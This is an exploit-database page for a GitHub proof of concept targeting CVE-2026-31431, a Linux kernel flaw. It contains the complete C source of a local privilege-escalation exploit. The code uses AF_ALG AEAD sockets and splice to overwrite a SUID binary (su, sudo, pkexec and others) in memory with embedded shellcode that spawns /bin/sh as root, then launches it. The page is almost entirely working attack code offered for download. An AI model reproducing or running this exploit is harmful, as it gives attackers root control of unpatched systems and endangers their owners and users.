Exploit database

GH-d169d41854bc2feccf61f4a3f1517ebd

fulucky0-yuri/cve-2026-31431-pocc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-31431

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
fulucky0-yuri/cve-2026-31431-poccRevision 243a1a99181c

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

copy_fail.c

C · 5,851 bytes
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <string.h>
#include <errno.h>
#include <sys/stat.h>

#ifndef SOL_ALG
#define SOL_ALG 279
#endif

/* shellcode payload,启动 /bin/sh */
unsigned char e[] = {
    0x7f,0x45,0x4c,0x46,0x2,0x1,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
    0x2,0x0,0x3e,0x0,0x1,0x0,0x0,0x0,0x78,0x0,0x40,0x0,0x0,0x0,0x0,0x0,
    0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
    0x0,0x0,0x0,0x0,0x40,0x0,0x38,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
    0x1,0x0,0x0,0x0,0x5,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
    0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x40,0x0,0x0,0x0,0x0,0x0,
    0x9e,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x9e,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
    0x0,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x31,0xc0,0x31,0xff,0xb0,0x69,0xf,
    0x5,0x48,0x8d,0x3d,0xf,0x0,0x0,0x0,0x31,0xf6,0x6a,0x3b,0x58,0x99,
    0xf,0x5,0x31,0xff,0x6a,0x3c,0x58,0xf,0x5,0x2f,0x62,0x69,0x6e,0x2f,
    0x73,0x68,0x0,0x0,0x0
};

/*
 * 直接尝试 bind 找到可用的 AEAD 算法,避免解析 /proc/crypto。
 * 按顺序尝试常见 authenc 变体。
 */
int find_aead_alg(char *alg_name, size_t max_len) {
    const char *candidates[] = {
        "authencesn(hmac(sha256),cbc(aes))",
        "authenc(hmac(sha256),cbc(aes))",
        "authencesn(hmac(sha256-generic),cbc(aes-generic))",
        "authenc(hmac(sha256-generic),cbc(aes-generic))",
        "authencesn(hmac(sha256),cbc-aes-aesni)",
        "authenc(hmac(sha256),cbc-aes-aesni)",
        NULL
    };

    for (int i = 0; candidates[i] != NULL; ++i) {
        int s = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (s < 0) continue;

        struct sockaddr_alg sa = { .salg_family = AF_ALG };
        strcpy((char *)sa.salg_type, "aead");
        strncpy((char *)sa.salg_name, candidates[i], sizeof(sa.salg_name) - 1);

        if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) == 0) {
            close(s);
            strncpy(alg_name, candidates[i], max_len - 1);
            alg_name[max_len - 1] = '\0';
            return 0;
        }
        close(s);
    }
    return -1;
}

/* 自动定位带 SUID 位的可执行文件 */
char* find_suid_target() {
    static char path[256];
    const char *candidates[] = {
        "/bin/su", "/usr/bin/su",
        "/bin/sudo", "/usr/bin/sudo",
        "/bin/passwd", "/usr/bin/passwd",
        "/usr/bin/pkexec",
        "/bin/mount", "/bin/umount",
        "/usr/bin/chsh", "/usr/bin/chfn",
        NULL
    };
    for (int i = 0; candidates[i]; ++i) {
        struct stat st;
        if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
            strncpy(path, candidates[i], sizeof(path) - 1);
            return path;
        }
    }
    return NULL;
}

int main() {
    char alg_name[64] = {0};
    if (find_aead_alg(alg_name, sizeof(alg_name)) < 0) {
        fprintf(stderr, "[-] No suitable AEAD algorithm found. Try loading kernel modules.\n");
        return 1;
    }
    printf("[+] Using AEAD algorithm: %s\n", alg_name);

    char *target = find_suid_target();
    if (!target) {
        fprintf(stderr, "[-] No SUID binary found.\n");
        return 1;
    }
    printf("[+] Target: %s\n", target);

    int file_fd = open(target, O_RDONLY);
    if (file_fd < 0) {
        perror("open target");
        return 1;
    }

    unsigned char opt1[40] = {0x08,0x00,0x01,0x00,0x00,0x00,0x00,0x10};

    for (size_t i = 0; i < sizeof(e); i += 4) {
        size_t chunk = (i + 4 <= sizeof(e)) ? 4 : sizeof(e) - i;

        int tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (tfm_fd < 0) continue;

        struct sockaddr_alg sa = { .salg_family = AF_ALG };
        strcpy((char *)sa.salg_type, "aead");
        strncpy((char *)sa.salg_name, alg_name, sizeof(sa.salg_name)-1);

        if (bind(tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
            close(tfm_fd);
            continue;
        }

        setsockopt(tfm_fd, SOL_ALG, 1, opt1, sizeof(opt1));
        setsockopt(tfm_fd, SOL_ALG, 5, NULL, 4);

        int op_fd = accept(tfm_fd, NULL, 0);
        close(tfm_fd);
        if (op_fd < 0) continue;

        unsigned char msg_data[8];
        memset(msg_data, 'A', 4);
        memcpy(msg_data+4, e+i, chunk);
        struct iovec iov = { msg_data, 4+chunk };

        unsigned char cmsg3[8] = {0};
        unsigned char cmsg2[39] = {0x10};
        unsigned char cmsg4[7] = {0x08};

        size_t cmsg_total = CMSG_SPACE(8) + CMSG_SPACE(39) + CMSG_SPACE(7);
        unsigned char *cmsg_buf = calloc(1, cmsg_total);
        if (!cmsg_buf) { close(op_fd); continue; }

        struct msghdr msg = {0};
        msg.msg_iov        = &iov;
        msg.msg_iovlen     = 1;
        msg.msg_control    = cmsg_buf;
        msg.msg_controllen = cmsg_total;

        struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
        cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = 3; cmsg->cmsg_len = CMSG_LEN(8);
        memcpy(CMSG_DATA(cmsg), cmsg3, 8);

        cmsg = CMSG_NXTHDR(&msg, cmsg);
        cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = 2; cmsg->cmsg_len = CMSG_LEN(39);
        memcpy(CMSG_DATA(cmsg), cmsg2, 39);

        cmsg = CMSG_NXTHDR(&msg, cmsg);
        cmsg->cmsg_level = SOL_ALG; cmsg->cmsg_type = 4; cmsg->cmsg_len = CMSG_LEN(7);
        memcpy(CMSG_DATA(cmsg), cmsg4, 7);

        sendmsg(op_fd, &msg, 0x8000);
        free(cmsg_buf);

        int p[2];
        pipe(p);
        loff_t off_in = 0;
        splice(file_fd, &off_in, p[1], NULL, i+4, 0);
        splice(p[0], NULL, op_fd, NULL, i+4, 0);
        close(p[0]); close(p[1]);

        unsigned char recv_buf[256] = {0};
        recv(op_fd, recv_buf, 8+i, 0);
        close(op_fd);
    }

    close(file_fd);
    printf("[+] Payload injected. Launching %s...\n", target);
    system(target);
    return 0;
}